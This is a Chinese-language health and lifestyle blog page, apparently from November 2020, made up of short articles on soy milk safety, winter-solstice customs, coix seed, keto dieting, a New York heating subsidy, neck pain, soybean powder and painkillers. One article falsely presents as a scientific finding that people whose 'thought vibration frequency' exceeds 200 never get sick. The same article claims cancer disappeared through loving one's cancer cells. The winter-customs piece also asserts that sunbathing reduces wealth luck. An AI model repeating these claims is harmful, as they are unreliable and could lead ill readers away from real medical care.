情商高的人,往往都懂得真心实意地站在对方角度着想。

能说会道是一种能力,懂得适时的不说却是一份不可多得的善良。高情商的人往往都有洞察人心的能力,能够体会他人的情绪和立场,说话做事会顾及他人的感受。

02

日常生活中,能言善道的人很多,却不是每个人都懂得去倾听别人说话。

曾经有一位青年,认为这个世界上没有人懂自己,感觉生活苦闷无趣,他决定去向一位长辈请教。

长辈听出了他的烦恼,于是整个过程中只有青年在倾诉,长辈由始至终都没有打断过,一直在认真地倾听。结束离开时,青年的精神面貌和刚来时已经大不相同。因为在平日里,根本没有人用心听他讲话,现在终于有了可以让自己一吐为快的机会,他感觉心情都舒畅了。

很多时候,跟滔滔不绝、口若悬河相比,人们更需要被倾听。懂得倾听,不仅有助于拉近彼此的距离,也更容易赢得对方的信任。

会认真倾听对方说话,是高情商的体现,更是一种无声的善意。一个高情商的倾听者,懂得认真地倾听他人,在他人说话的时候不会表现得毫不在意;懂得设身处地地考虑对方的感受、照顾对方的情绪、了解对方的心声;懂得认真地给予回应,给予对方足够的礼貌和尊重。

用真诚的心替别人着想,这样的善意才是最高级的情商。

03

听过这样一句话,“如果我们只会站在自己的角度看问题,那么我们永远不知道别人在想什么。”

学会站在别人的立场,用真诚的心替别人着想,这样的善意才是最高级的情商。

爱出者爱返,福往者福来。愿我们都能做这样真正高情商的人,心中常怀温柔与善意,真心实意地站在对方角度着想。

你将心比心对他人的理解和尊重,最终一定都会加倍地反馈给你。

 

2020-11-09 / by / in
千万别喝这种豆浆,堪比「砒霜」真的会中毒!

豆浆/中毒/豆浆一定要煮沸

豆浆是一种大众饮食,价廉质优且老幼皆宜、 豆浆含有丰富的植物蛋白、钙、磷、铁锌等矿物质,经常饮用能强身健体,防治糖尿病等,但是要知道豆浆的正确饮用方法,否则会大伤身体。

没煮熟的豆浆能喝吗?

没煮熟的豆浆中含有毒物质,人喝了容易导致蛋白质代谢障碍,并对肠胃产生刺激,引起中毒症状。

而让人中毒的关键成分在于豆浆中的〝皂甙〞,它会让人中毒,产生恶心、呕吐、腹痛、腹泻等症状。此外,因为生豆浆里还有一种抗胰蛋白酶,会降低胃液消化蛋白质的能力,只有加热至100℃才能被破坏。所以,豆浆一定要真正煮沸才能喝。

豆浆要煮多久才能喝?

先将豆浆在100℃的高温下煮沸,然后煮沸后再煮10分钟,即一共沸腾三次差不多。


豆浆要煮多久才能喝 

生豆浆在加热时第一次煮沸后有泡沫上浮并不代表豆浆已经完全煮沸了,这是豆浆中的有机物受热膨胀形成气泡造成的沸腾假象,没煮熟的豆浆中喝了小心中毒。

如何区分豆浆是否真的煮沸?

豆浆中的皂甙在高温煮沸后会被破坏,不会引起中毒。但当豆浆加热到80℃至90℃时,皂甙会受热膨胀,产生大量泡沫,此时也叫假沸。如果此时误认为豆浆已经沸腾而停止加热,这样的豆浆还是含有大量皂甙。

适量的皂甙具有抗衰老、抗疲劳功效,但皂甙同样也是一种溶血剂,会刺激胃肠粘膜,引起恶心、呕吐、腹胀、头晕等中毒症状,严重的可引起脱水和电解质紊乱,如若抢救不及时就会危及性命。豆浆正确的煮法是”假沸”后,转小火继续煮至滚沸5到10分钟方可食用。

豆浆机做豆浆要多长时间?


豆浆机 

一般20分钟左右。豆浆不煮熟是有毒的,如果是自动加热的豆浆机,不用像前面说的重复加热几次。只是不能加热的机子,豆浆在炉子上大火烧开,再小火慢煮。一般豆浆机制作一次豆浆需要20分钟左右。

当然,水位的高低,水的温度,电压高低,所放的食材,选择的功能等等都会对时间有一定影响,具体时间会有些起伏变化。豆浆制作好了以后会进行声光报警,蜂鸣器发出滴-滴-滴的声音,所选的功能指示灯闪烁。

豆浆好处多多,大家都知晓,很多人自己买了豆浆机在家自制豆浆。可是,对于豆浆的做法你真的掌握了吗?你的豆浆真的煮熟了吗?没煮熟的豆浆能喝吗?这是我们生活中必须要搞清的问题。

喝没熟的豆浆中毒了怎么办?

豆浆中毒的潜伏期很短,一般为30分钟至1小时,如果症状很轻可能就只是一些腹痛腹泻等简单的胃肠炎症状,那么不需治疗便可自愈,过后就没事了。建议吃点流食,饮食清淡点。

不过,对于症状重,反映强烈的人或儿童最好及时到医院治疗。想办法让它吐出来,身体脱水就打点滴,一般也不用吃药,不用过于担忧了。

2020-11-09 / by / in
今天立冬 关于立冬的一些习俗与禁忌 你知道吗?

立冬/习俗和禁忌/祭祖祭天/饺子/冬泳/补冬/外出过早/日晒过长/洗浴过长/剧烈运动

今天立冬,冬季的第一个节气,是二十四节气之一,也是汉族传统节日之一。也代表万物收藏,走向寒冷之意,那么你知道立冬的习俗和禁忌有哪些吗?今天本文来介绍给你。

《月令七十二候集解》说:“立,建始也”,又说:“冬,终也,万物收藏也。”意思是说天下万物生长已经告一段落了,精气营养收藏起来,准备好好休息,动物该该冬眠的准备冬眠。立冬后,空气一般渐趋干燥。寒冷的地区往往出现下雪。


立冬昭示着冬天来了

1、贺冬

贺冬亦称“拜冬”,在汉代即有此俗。皇帝在这天会率领文武百官设坛祭祀,并举行相关的迎冬仪式,以祈求来年风调雨顺、国泰民安。这一天百姓们都会好生歇息,不做农事,以此犒赏一家人整年来的辛苦劳作。宋代以后,每逢此日,人们便更换新衣,庆贺往来,一如年节。

2、祭祖祭天

立冬这天,人们还要举行祭祖祭天的活动。即便再忙的农人也要休息一天,杀鸡宰羊,准备时令佳品,一方面祭祀祖先,以尽为人子孙的责任;一方面祭祀苍天,感谢上天恩赐的丰年,并祈求来年赐给风调雨顺;

3、饺子


饺子

老话说:“立冬不端饺子碗,冻掉耳朵没人管”。相传东汉名医张仲景见许多百姓因为天冷耳朵都冻坏了,于是支了口大锅,把羊肉、当归、生姜等驱寒的药材放进去煮熟后捞出来切碎后包成像耳朵一样的饺子再下锅煮,这就是饺子的来源。

立冬时,包饺子,还要蘸醋加蒜泥吃,才算别有一番滋味。立冬吃饺子,源于立冬是秋冬季节之交,因此“交”子之时的饺子不能不吃。所以立冬之日,各式各样的饺子卖得很火。

4、冬泳

在黑龙江哈尔滨、河南商丘、江西宜春、湖北武汉等地立冬之日,冬泳爱好者们就曾用冬泳这种方式迎接冬天的到来。冬泳无论在北方还是南方,是冬季人们喜爱的一种锻炼身体的方法。

5、补冬

立冬后,草木凋零,蛰虫休眠,万物活动趋向休止。人类虽没有冬眠之说,但民间却有立冬补冬的习俗。

许多家庭会炖麻油鸡、四物鸡来补充能量

立冬人们爱吃些鸡鸭鱼肉,在台湾立冬这一天,街头的“羊肉炉”、“姜母鸭”等冬令进补餐厅高朋满座。许多家庭还会炖麻油鸡、四物鸡来补充能量。除了补益了一家人的身体之外,这种围坐一桌的温暖气息,更让人觉得点点滴滴皆是美味。

立冬的禁忌

1、忌外出过早

“立冬晴一冬凌,立冬阴一冬暖”,立冬为冬天之始,老一辈人常常以立冬当日的天气来预测整个冬季的气候走向。立冬当日天气晴朗则整个冬天将非常寒冷;相反,若为阴天,则这一年的冬天不会太冷,甚至可能是个暖冬。

“立冬一日,水冷三分”,立冬后,寒冷的冬季已然开始。此后,气温将逐渐下降,冬季的早晨,室外是一天温度最低的时候,不仅外出最易引起感冒, 而且阴气比较重,非上班人士最好选择上午10点以后到室外锻炼或者活动。上班人士注意添衣保暖,调节运势。

2、忌日晒过长


忌日晒过长

立冬后少有暖阳,一些朋友会贪婪于日晒。过久的日晒会消减人的水五行,减少财运。

3、忌洗浴过长

冬天阴气比较重,立冬后洗浴时间过长会削减人的阳气,并且冬季空气干燥寒冷,许多老年皮肤干燥脱屑、瘙痒,误以为是由于不清洁所致,于是每天洗浴一次,结果越洗皮肤越干燥脱屑更多。根据具体情况,2-3天洗浴一次最宜。

4、忌活动过剧

心脏五行属火、肾脏五行属水,在水旺的冬季,心脏或者肾脏不好的朋友要注意心和肾的保养。适当的体育运动是强身健体,但剧烈的运动过后心跳容易加速,血压升高 ,这个季节里特别容易发生危险。所以最好立冬过后一般人不要选择剧烈运动。

2020-11-07 / by / in
美国科学家发现 意念对健康的影响 大到不可思议

健康/心态/意念/意念对健康的影响/科学家发现

在美国很有名的戴维·霍金斯博士是一位医生,在他医治的病人来自世界各地,经过他的研究发现:“人的意念振动频率如果在200以上就不生病。”

戴维·霍金斯发现,凡是生病的人一般都用负面的意念,他们喜欢抱怨、指责、仇恨别人,不断指责别人过程当中就消减自己很大的能量。这些意念的振动频率低于200。这些人容易得很多不同的疾病。

没有爱会生病

振动频率也就是人们常说的磁场。“很多人生病是因为没有慈悲心、爱心、宽容、柔和等,只有痛苦和沮丧,通常这些病人的振动频率低于200,容易得很多不同的疾病。”

霍金斯博士说:只要看到病人就知道这个人为什么生病,因为从病人身上找不到任何一个和爱相关字,只有痛苦、怨恨、沮丧,包附着他全身。

振动频率高者能带来美好的磁场

正能量层级显示

研究发现:最高的振动指数是1000,最低的指数是1。目前,在这个世界上,他看到振动频率最高的是700,他的能量特别足,这些人出现的时候,能够影响一个地方的磁场。

当一位诺贝尔和平奖得主特瑞萨女士出现在颁奖台上的时候,全场气氛相当好,振动频率很高,她的磁场让全场的人都感受到她的能量,美好和感动充满其中。

当能量很高的人出现时,他的磁场会带动整个万事万物变得美好祥和,而当一个人有很多负面意念的时候,伤害的不仅是他自己,也让周围环境磁场变得不好。

振动频率不同的人有哪些表现

负能量层级显示

霍金斯博士说他做过百万次案例,在全球调查过不同的人种,答案都是一致的。只要振动频率低于200,这个人就会生病。200以上的就没有病。

200以上的意念通常表现是:喜欢关怀别人,慈悲心、爱心、行善、宽容柔和等等,这些都是高的振动频率,达到400到500。

相反,喜欢嗔恨、发怒,动不动就指责、怨恨、嫉妒、苛求他人,凡事自私自利,只考虑自己,很少考虑他人感受,这些人的振动频率很低,这些低的振动频率也是导致癌症、心脏病等种种疾病的原因。

他从医学的角度告诉人们,意念真的是不可思议,意念对人的健康有很大影响。

爱的力量

日本大提琴家夏恩患癌后试图与疾病斗争,但感觉越来越糟。他调整心态,决定爱身体里的每一个癌细胞。他视癌症剧烈的疼痛为叫醒服务,致以祝福和感谢。他发现这种感觉很好。接着他决定爱生活的全部,包括每个人、每件事。

一段时间后,出人意料的是癌细胞竟全部消失了。后来他成了在日本家喻户晓的治疗师。这便是生命的本质——爱。

疾病源自我们身体内在对爱的匮乏和缺失,而疾病也终将在无条件的爱和爱心中被清理和治愈!

可见,积极乐观的心态,多些正面的念头,以及一颗慈爱的心,是健康不可缺少的因素。

古人说,大德者寿,诚不欺我!

2020-11-07 / by / in
用「它」来补冬!效果大胜姜母鸭、羊肉炉

健康/补冬/薏苡仁

说起薏仁它还有「世界禾本科植物之王」和「生命健康之禾」美誉呢,薏仁又称薏米,其味甘、淡和性微寒。

薏仁很多人想到用绿豆薏仁汤来消暑。其实,为了矫正冬天补过头,红薏仁才是好东西。

气温直直落,你是否也趁著天冷进补一番?当归鸭、烧酒鸡、羊肉炉、十全大补汤…冬令进补吃得暖呼呼,但不少人也因此「补过头」,不但舌苔黄腻,早上起床时,眼皮和脸颊都肿肿泡泡的。

康健杂志报道:坜新医院中医科主任陈威达解释,这些症状都是湿热体质惹的祸。台湾气候潮湿,湿热体质的人本来就多,如果夏天没有好好调理,湿热症状在进入秋冬后还是会作怪;尤其冬天频频进补,可能会造成水肿。

「对湿热体质的人来说,冬令进补不如吃红薏仁,」陈威达说,冬天吃薏仁,对补过头或脾胃虚的人都有好处。根据中医理论,生薏仁清热利湿,炒过的薏仁则可健脾止泻,除了加入汤剂或做成丸散以外,薏仁也可以煮成粥食用,可说是食疗佳品。


薏苡仁

薏仁营养价值高 美白、抗老、改善过敏

薏仁又称薏苡仁、苡米。从营养学观点来看,薏仁的蛋白质(13~16%)及脂肪含量(4~11%)丰富,尤其胚乳部份蛋白质更可高达16.2%,比小麦多2%左右。

台北市立联合医院和平妇幼院区营养师李贞慧表示,薏仁的碳水化合物含量在60%左右,且有丰富的膳食纤维;热量每100公克高达370~420卡,高于白米的350卡及小麦的335卡。此外,薏仁还含有多量的维生素B1、B6、铁质与钙质,营养价值颇高。

在营养价值之外,薏仁也被发现具有保健、抗老等功效。钻研薏仁二十多年的台大食品科技研究所教授江文章指出,薏仁具有除老人斑、美白、抗氧化、消除自由基、改善过敏体质、帮助免疫调节的功能,还可以改善代谢症候群、调节血糖及血脂,降胆固醇和三酸甘油酯的效果甚至比燕麦还好。

另外,日本自1950年代起就开始研发含薏仁的抑癌和减轻放化疗副作用的中药产品。高雄医学大学附设医院也从2011年9月至2013年8月,进行用薏仁麸皮萃取物减轻乳癌患者放疗副作用的人体实验。


薏苡仁

红薏仁的营养素含量比白薏仁更高

早餐店的薏仁浆、便利商店的薏仁饮、五榖饭团或甜汤里加的薏仁配料…薏仁食品百百种,要吃到薏仁看似不难,但是,你吃的是「真薏仁」吗?

「市面上俗称的洋薏仁、小薏仁、珍珠薏仁,其实都不是薏仁,」江文章说,这些其实是精制后的大麦仁。

「大麦仁和薏仁的营养价值完全不一样,」李贞慧表示,精制后的大麦仁,由于外观和去除麸皮后的精白薏仁很像,所以容易被误认。不过,如果仔细看,还是可以从外观来分辨薏仁和大麦仁,薏仁比较大颗、中间有凹沟,大麦仁则比较小颗、看起来像燕麦。

从口感上也可以区别薏仁与大麦仁,李贞慧说,薏仁比较有嚼劲,大麦仁吃起来比较软滑、类似麦片。

她举例说,一般四神汤里加的是真薏仁,咬起来比较硬,但一些甜品店里卖的剉冰配料或绿豆薏仁汤,里头的「薏仁」不但外观看起来平滑无凹沟,吃起来也比较软,这些可能就是大麦仁。

就算是薏仁,红薏仁的营养价值也比白薏仁高。一般常用的白薏仁,指的是薏仁除去外壳与麸皮后的谷仁,而红薏仁(糙薏仁)则只有除去外壳、依然保留深咖啡色的麸皮,维生素B群、纤维质与薏仁酯的含量较高。

「若依营养价值来看,当是选择红薏仁最好!」李贞慧说,红薏仁还未经过精化、属于全谷类,膳食纤维含量约11~17%,精制过后的白薏仁膳食纤维含量仅剩1~6%。此外,红薏仁的维生素B6含量也比精白薏仁高出3倍。

选购薏仁时,应注意挑选颗粒坚实完整、大小整齐、外表有光泽者,也要避免发霉、异味或砂、虫等异物。若是品质好的薏仁,闻起来会有一股清香。

江文章提醒,散装薏仁如果放在室温下,3个月就会长虫了,买回家后最好能放冰箱,可以贮存6个月。


薏苡仁

哪些人不宜吃薏仁?

薏仁是好食材,不过仍有些人最好少吃或别吃。

医书《本草经疏》写道:「凡病大便燥,小水短少,脾虚无湿者忌之,妊娠禁用。」也就是说,若是体质阴虚燥热、便秘的人,不宜服用过多薏仁;且怀孕早期、胚胎还不是很稳固时,中医师建议孕妇先别吃薏仁,因为薏仁可能会促进子宫收缩,而导致流产。

坜新医院中医科主任陈威达表示,薏仁具有利水、消水肿作用,有助于把身体中的水分排出来,但也可能会使孕妇的羊水变少。

虽然目前还没有大量且严谨的研究进一步证实,但他建议孕妇最好还是避开薏仁,「吃到一点点没关系,但怀孕期间仍应避免长期、大量食用薏仁,」陈威达说。


薏苡仁

薏仁怎么煮才好吃?

吃薏仁好处多多,很多人尝试自己煮薏仁,觉得吃起来太硬。该怎么煮才会美味可口呢?

李贞慧表示,薏仁本来就比较难煮熟,诀窍是在煮之前用水浸泡2~3小时(可改用温水以缩短浸泡时间),让它充份吸收水分,泡到能用指甲搓破籽粒中心为原则,之后再与其他米类一起煮就很容易熟了。熄火后焖5~10分钟再食用,薏仁会变得较可口且富弹性。

2020-11-06 / by / in
想靠生酮饮食减重 有5大迷思先破解

健康/减重/生酮

减肥其实是一种选择,只是你要知道你付出了什么风险!减肥方式很多,但不是每种方法都适合你,如果你想跟风,但你要不要对你的健康负责,这是关键问题。

良医健康网发布关于生酮减重,网路上总是有着各式各样的评价,排挤、好奇、不以为然、跃跃欲试…。网路上不乏各种声音,但我觉得有句话说得好「别让没走过这条路的人,告诉你此路不通!」身为一个为了减重,尝试生酮迈向第4个月的使用者,我有一些心得想法,想和准备执行生酮,或者还不知道生酮是什么的和你分享,希望对大家有些帮助。

关于减重,你该有的基本观念:

一个星期瘦几公斤是标准?

这个问题我们可以先定义清楚,我们所谓的减重要减的是体脂肪,不是水不是肌肉…是真真切切的肥油脂肪。

不管是不是生酮,不论是用哪种减重法,你要记住一个大原则,7,700大卡=1公斤脂肪。也就是说只要进出差能累积7,700大卡,你才有「可能」瘦下的不是水、不是肌肉是单纯的脂肪。换言之,一个正常人假设一天总消耗2千卡,也要不吃不喝快4天的赤字,才有可能减到一公斤。

你有可能4天不吃不喝吗?就算能4天不吃不喝,你确定你消耗的都是脂肪而不是肌肉或水分吗?如果上述都没有,请抛开「一星期能瘦下1~2公斤是很正常的」这种错误幻觉。醒醒吧!孩子,这根本超难的好吗?如果减掉的统统是水分和肌肉,你又有什么好爽的呢?水多喝几杯就回来了,至于减掉肌肉那更是悲惨,因为还没瘦够,复胖两个字就写在你的脸上。

一般来说,如果以体脂为目标,我会建议一个月减个2~3公斤,就已经是个不错的数字。

那么你可能会说,那些fb广告页上,一个星期瘦7公斤,15公斤的人呢?总不会统统是假的吧!我这样说吧.除非他天生体态异常,破个一两百公斤;或者运动量惊人,一天消耗个几千卡(像水上芭蕾舞者)这种,否则一个星期瘦那么多,不会是正常人(也就是你跟我)可以做到的。至于做到的那些人呢?也不用替他们太高兴,同前理由,多半只是水和肌肉而已,不坚持下去,也只是数字上的昙花一现,看开心地而已。

哪种减重适合我?

我觉得有目的性的去执行减重方法没什么不好,重点在于过程中,你得去聆听身体的声音,还有知道相对可能赔上的风险值不值得。

拿生酮来说好了,我就听过一个故事,一个30来岁漂漂亮亮的女孩嫁人生子后,因为压力、作息、饮食的不正常走上臃肿之路,久而久之,丈夫也拿此为嫌弃的借口。渐渐地,她越来越不爱自己,丈夫也在外面搞小三。两年后,丈夫更以她又丑又肥为由,提出离婚。失婚又忧郁的她,阴错阳差因为生酮瘦下了20几公斤,当前阵子朋友指著媒体网文问她,生酮好像风险很大耶!你不怕吗?她回说:你觉得我应该要漂漂亮亮的活到5~60岁,还是又丑又肥得熬到8~90岁呢?

其实减肥一直都是一种选择,只是你要知道你付出了什么风险!此外,每一种减肥都不是人人都适合,所以你可以跟风,但你不能期望别人对你的健康负责,网路上的所有建议就只能是个建议,适用于A适用于B,就算适用于8成的人,也都不能保证它100%适用于你,同理,就算9成的人不适用,也不能表示剩下1成的人不适合。

所以,所有网友的经验都只能参考、参考、再参考。重述重点,聆听你身体的声音去调整适合自身的减重方式,以及在尝试新的减重方式时,评估你要喊卡(暂停)的停损点。事实上,我认为定期血检就是个不错的辅助方式。

关于生酮,你可能听过的传言:

奶油

Q生酮就是要大口喝油、啃奶油?

一听到70%的热量来自油脂,很多人就想到拿起沙拉油咕噜咕噜灌下去,或拿起奶油一口咬下直接吃的画面。吃生酮就要喝油、啃奶油,这个传言是真的吗?正解应该是,可以这样做,但并不推荐这样做。话题拉回生酮怎么吃这件事,为了方便或为了目的,有些人确实会为了执行的精准,直接喝油,但有没有一定要这样做?答案倒是否定的。

良好的生酮精神,在于好油、多菜、多原形食物,也就是尽量从整块肉类或坚果本身摄取油脂,这样才能保持营养摄取的多样化和均衡,以及进食的适口性和心态上的满足感。毕竟,每天一杯橄榄油喝下去,和一碗暖呼呼的鸡汤喝下去,还是不一样的。

吃生酮,你并不是没有选择。

Q生酮可以吃肉吃到爽,还能照样瘦?

其实这个传言,不能说错,但必须说,有前提。如同减肥基本观念所提,所有的减重最后还是要回归「吃进去的,比消耗的少」这个原则。也就是说就算是生酮,你还是得吃的少于消耗的才会顺利瘦下来。

第二,不要忘记,生酮的主摄取来源应该是油脂。如果在前期你只是拼命的吃肉,油脂却摄取不足,那么也是没有用的。因为身体会自动聪明的让蛋白质进行糖质新生,转换成葡萄糖。所以实际上,如果你想要生酮减重,蛋白质的摄取也是必须控制,而非吃到饱吃到爽。

Q生酮不挨饿,吃饱饱一样瘦?

其实这个传言,不能说错,但必须说,一样有前提。生酮因为改变饮食的型态,以油脂为主,蛋白质为辅,所以就算吃了比较少的热量,油脂下肚给身体的饱足感,依旧远远超过淀粉为主的饮食;再者,因为油脂和蛋白质需要身体消化的时间冗长,以及血糖变化不大,所以就不容易出现肚子空空,或者胰岛素上下起伏太大,一下就饿,需要再度进食的感受。

另外,生酮到后期,当身体需要热量,就会自己从体内的油脂(脂肪)去补充饮食上不足够的热量,这也就是为什么,生酮到后期其实吃不多,或者执行断食,你也不容易饿的真相。但你说这是不是挨饿,我觉得也算是耶!只是你可能不会有明显饥饿感。

食物依种类、量、咀嚼程度由口腔进入、消化吸收,到形成粪便排出体外,大约24~72小时:

碳水化合物:由口腔到消化、吸收、血糖上升的时间约15分钟至2小时。

蛋白质:体内吸收蛋白质的速度每小时约8~10公克,因此饮食中蛋白质量愈多,所需的消化吸收时间愈长,饱足时间愈久。

油脂:油脂的消化及胃排空所需的时间,是三大营养素中最长的,每小时10公克,平均3小时以上,甚至长达6~72小时。

Q生酮瘦的都是水,多喝几杯水就会胖回来?

生酮初期因为饮食的改变,限制碳水化合物摄取,当肝糖渐渐用光,就会带走大量的水分,所以身体的含水量变低,许多人也会有轻微脱水的情形。这个时候,你会发现体重掉很快,一个星期也许就2~3公斤,甚至你可能还会发现有些人,会在网路上高兴地分享「我用生酮,一个星期瘦了5kg!」

这阶段伴随而来的可能会有一些抽筋等不适症,这都是水分流失以及身体微量元素流失的关系。所以这个阶段的体重瘦下来,不用太高兴,但要记得多补充水分以及身体流失的微量元素,帮助身体度过这适应阶段。

那回到提问,生酮瘦的都是水?其实,除非你只生酮一两个星期,否则时间拉长几个月,当生酮状态正式进入轨道,开始消耗身体的油脂后,就不会有瘦的都是水这个问题,自然也不会有多喝几杯水,就全肥回来的状态。但值得提醒的是,生酮状态确实是让身体处于低含水状态,所以当你停止生酮时「复胖」个一两公斤,也是很正常,那是身体含水量从低到正常的表现,并不是你身上就多了一两公斤的油。

Q生酮很容易复胖?

其实这问题回到的是「你吃了什么?」毕竟油脂的热量确实是高,如果你的身体没有在生酮状态,却又保持着生酮的饮食模式(多油进食),那么淀粉加油脂,自然会不留余力的把你的体重给拉上去。

另外,如果你的生酮期间,精神上熬得很辛苦,例如,因为健美比赛或短期减重,用了超人的意志去执行饮食模式,等到目的完了,自然,暴饮暴食、要把那阵子所有忍耐吃回来的心态,也会很容易让你后面迅速复胖。

其实,归总就是减肥是吃出来的,复胖也是吃出来的,所以不是生酮让你复胖,而是生酮后你的饮食让你复胖。再想想,如果生酮前的饮食就让你有肥胖问题,生酮后恢复生酮前的饮食模式,又没增加运动或其他调整,重回旧路,再次慢慢胖上去也是很自然的事呀!

结论:

生酮并不需要被神化,但也不应该将之妖魔化。个人认为,运用得当,它确实是个很好的减重手段。另外,网路上很多口口声声说「在生酮」的人,其实摊开餐表来看,也都是在吃低碳(低糖)而已。不过话说回来,如果低碳就能达到你要的目的,不管是健康还是减重,那么,我觉得低碳也没什么不好,毕竟生酮的风险确实比低碳高。

2020-11-06 / by / in ,
纽约冬季供暖补助 11/2开始申请

纽约冬季供暖补助 11/2开始申请

纽约州长库默(Andrew Cuomo)宣布,从11月2日起,中低收入的房东或租客可申请2020—2021年常规冬季供暖补助(Home Energy Assistance Program,简称HEAP)。符合紧急HEAP申请条件的居民,可于明年1月4日开始申请紧急供暖补助。


库默表示,去年有逾160万房东或租客获得冬季能源补助;今年将拨款3.28亿美元供民众申请,具体获批金额取决于申请者家庭人数、收入和房屋取暖方式,符合条件者最高可领741美元。

库默说,今年的申请条件略有提高,例如,一个四口之家的月收入不超过5,019元,或年收入不超过60,226元,才符合申请资格。

根据申请细则,要求:申领者和其家庭成员是美国公民或合格居民;或正领取粮食券(SNAP);或正领取急救金(Temporary Assistance);或正领取补充社会安全金(SSI);家庭月收入等于或不超过以下标准:一人家庭2,610元、两人家庭3,413元、三人家庭4,216元、四人家庭5,019元、五人家庭5,822元、六人家庭6,625元、七人家庭6,775元、八人家庭6,926元。

此外,家中有60岁或以上、6岁以上及永久残疾的家庭成员,可获额外补助。

该项目由纽约州临时和残障援助办公室(Office of Temporary and Disability Assistance)监管,民众可登录网站查看申请资格:https://otda.ny.gov/programs/heap/,

或在以下网站获得当地办公室联系方式,通过拨打电话申请补助:https://otda.ny.gov/programs/heap/contacts/,

也可登录网站在线申请:https://www.mybenefits.ny.gov/mybenefits/begin。

 

2020-11-05 / by / in , , , , ,
什么原因使现在越来越多的年轻人患上颈椎病?

年轻人/颈椎病/颈椎病病因/颈椎病预防

通常颈椎病是中老年人的一种常见疾病,但据了解,颈椎病现出了越来越年轻化的趋势,尤其20-40岁的青壮年颈椎病患率逐年增加。

至于为什么现在越来越多的年轻人会患上颈椎病,这就要从现在年轻人所喜爱的生活习惯说起。

1.不良的坐姿

现在很多人办公都要用到电脑,有些工作更是一天到晚都要面对电脑,如果坐姿不正确,每天如此,可以想象颈椎病真的距你不远了。

正确的坐姿如图:

2.长时间低头玩手机

在7节颈椎骨里,第一节和第二节负责头部的转动,其他动作比如抬头、低头、左右摇晃脖子等,则是由下面第5节颈椎来完成;

爱玩手机的“低头族”所患的颈椎病,多发于下面的4节颈椎骨,尤其以颈5-6最容易受损。

所以,对于喜欢玩手机的人要懂得克制自己,不要整天埋头沉迷于此,这对颈椎很不利。

世界如此美好,多抬头看看这个世界吧!

颈椎病的病因

造成颈椎病的原因不是单单由于不良的习惯造成的,准确的说,不良的习惯只是颈椎病的一个病因(颈椎的慢性劳损)。

颈椎病,其发病原因很多,综合起来有四个,包括:

颈椎的退行性变(颈椎增生,椎间盘突出等);

慢性劳损(最常见到的原因如低头工作等);

发育性颈椎椎管狭窄(多为先天性);

颈椎的先天性畸形(比较少见,如蝴蝶椎、并椎等)

前两者是生活中比较常见的颈椎病致病原因。对年轻人而言主要是长期姿势不良导致的肌肉劳损。而对老年人来说,是由于年龄增大颈椎退变,出现骨质增生和椎间盘、韧带的老化,导致颈椎不稳、神经血管受压,并引起相应一系列症状。

预防颈椎病

1.用网球松懈肩颈肌肉

每天睡前用网球放于斜方肌下方,上半身躺下,用身体自重挤压网球进行按摩。

2.靠墙伸展

这个动作能很好地纠正不良体态,缓解肩颈问题;

身体后靠墙壁手臂外展肘关节90度,小臂、手背贴紧墙面,两臂上推,注意不要耸肩。每天做3组左右,每组至少完成10次。

3.仰望观天

取站位或坐位,两手叉腰,头颈后仰观天,并逐渐加大幅度,稍停数秒钟后还原,共做8次。

4.转动头颈

取站位或坐位,两手叉腰,头颈轮流向左、右旋转;

每当转到最大限度时,稍稍转回后再超过原来的幅度,两眼亦随之尽量朝后方或上方看,两侧各转动10次。

2020-11-05 / by / in
它是膳食纤维首先!早餐吃、血糖一路稳到午餐后

健康/黄豆/纤维素

早餐对人的身体健康极为重要。医学研究表明,人体血糖过低会感到饥饿和疲乏等,那么吃早餐就非常关键。

但是总有人早上喜欢吃汉堡、三明治填饱肚子,甚至有时乾脆不吃?市售的早餐品项,大多高热量、高GI、让人容易变胖;而不吃早餐,却又会导致午餐后血糖飙升,同样危害健康,难道赶时间就没有健康的早餐选择吗?日本糖尿病专业医师建议,不论你早上习惯喝咖啡、豆浆、牛奶或果汁,只要再加入2匙健康粉末,不但健康效果加分、还有助控血糖!

「糖化」加速老化又会引发糖尿病,专家推黄豆粉助控糖

早安健康报道:日本久留米大学教授、糖尿病专业医师山岸昌一表示,平时摄取过多含有「糖化终产物AGEs」的食物,或长时间处于高血糖状态,或者血糖经常飙升,就会造成所谓的「糖化」,更容易加速老化。

对此,日本大妻女子大学教授、营养学专家青江诚一郎指出,早餐摄取大豆、豆制品中的Oligo寡糖等营养素,可以促进胰岛素分泌,且效果能持续约3~4小时,甚至维持到午餐后,有助降低午餐后血糖。


豆腐

不过,多数人不习惯早餐吃大豆或豆腐、豆干等豆制品,因此日本媒体也推荐,在早餐饮品中加入黄豆粉即可。据日本日经新闻NIKKEI STYLE网站报导,除了Oligo寡糖的好处以外,黄豆粉是所有豆制品中膳食纤维含量最高的,每100g黄豆粉的膳食纤维高达18.1g。而膳食纤维不但具备抑制血糖上升的效果,堪称是控制血糖的好食材。

英国剑桥大学曾针对欧洲8个国家,共计2万9千名人口进行为期11年的追踪调查,结果发现每天摄取26g以上膳食纤维的人,比吃不到19g膳食纤维的组别,罹患第二型糖尿病风险低了18%。台湾营养师曾惠卿也曾在文章中指出,膳食纤维可以和肠道中其他食物混合,降低食物消化吸收作用,可望延缓葡萄糖吸收,因此可能改善糖尿病患者胰岛素浓度与餐后血糖反应。

日本国立研究开发法人理化学研究所特聘研究员辨野义己则认为,肠内菌群紊乱也是引发糖尿病的原因之一。而黄豆粉富含的膳食纤维,有助维持肠内菌群生态,Oligo寡糖则能帮助肠内益菌「双歧杆菌」更繁殖,让肠内环境更上一层楼。

2匙黄豆粉加入饮品之中,立刻化身控糖健康饮


黄豆粉

日本料理研究家、国际中医药膳师、国际中医师滨田美里推荐将2大茶匙黄豆粉,依照自身喜好加入咖啡、牛奶、绿拿铁、优格、蔬果汁‧‧‧等饮品当作早餐享用,就可能有助于控制血糖。

辨野义己特别推荐将黄豆粉加入优格之中,优格中的益菌搭配黄豆粉食用,能提升整肠防便祕的效果。

材料

优格200~300g。

黄豆粉1~2大茶匙。

抹茶粉1小茶匙。

蜂蜜适量。

做法

将所有材料混合即可食用。

2020-11-05 / by / in
医生教你怎样正确使用止痛药 才不伤肝肾

健康/止痛药/每周两天/伤肝肾

人吃五谷杂粮,身体经常出现不适的状况,那么很多人就会自行吃药来改变状况,怎样正确使用止痛药?

发生感冒、头痛、牙痛、经痛、关节疼痛、肌肉酸痛时就吃止痛药,但造成洗肾、肝衰竭等状况,也屡见不鲜。如何正确吃止痛药才能不伤身呢?药师易丽珍强调,购买止痛药前应先咨询药师,建议一星期不可超过2天,最好多喝水加速代谢。

止痛药成分不同 副作用也不一样

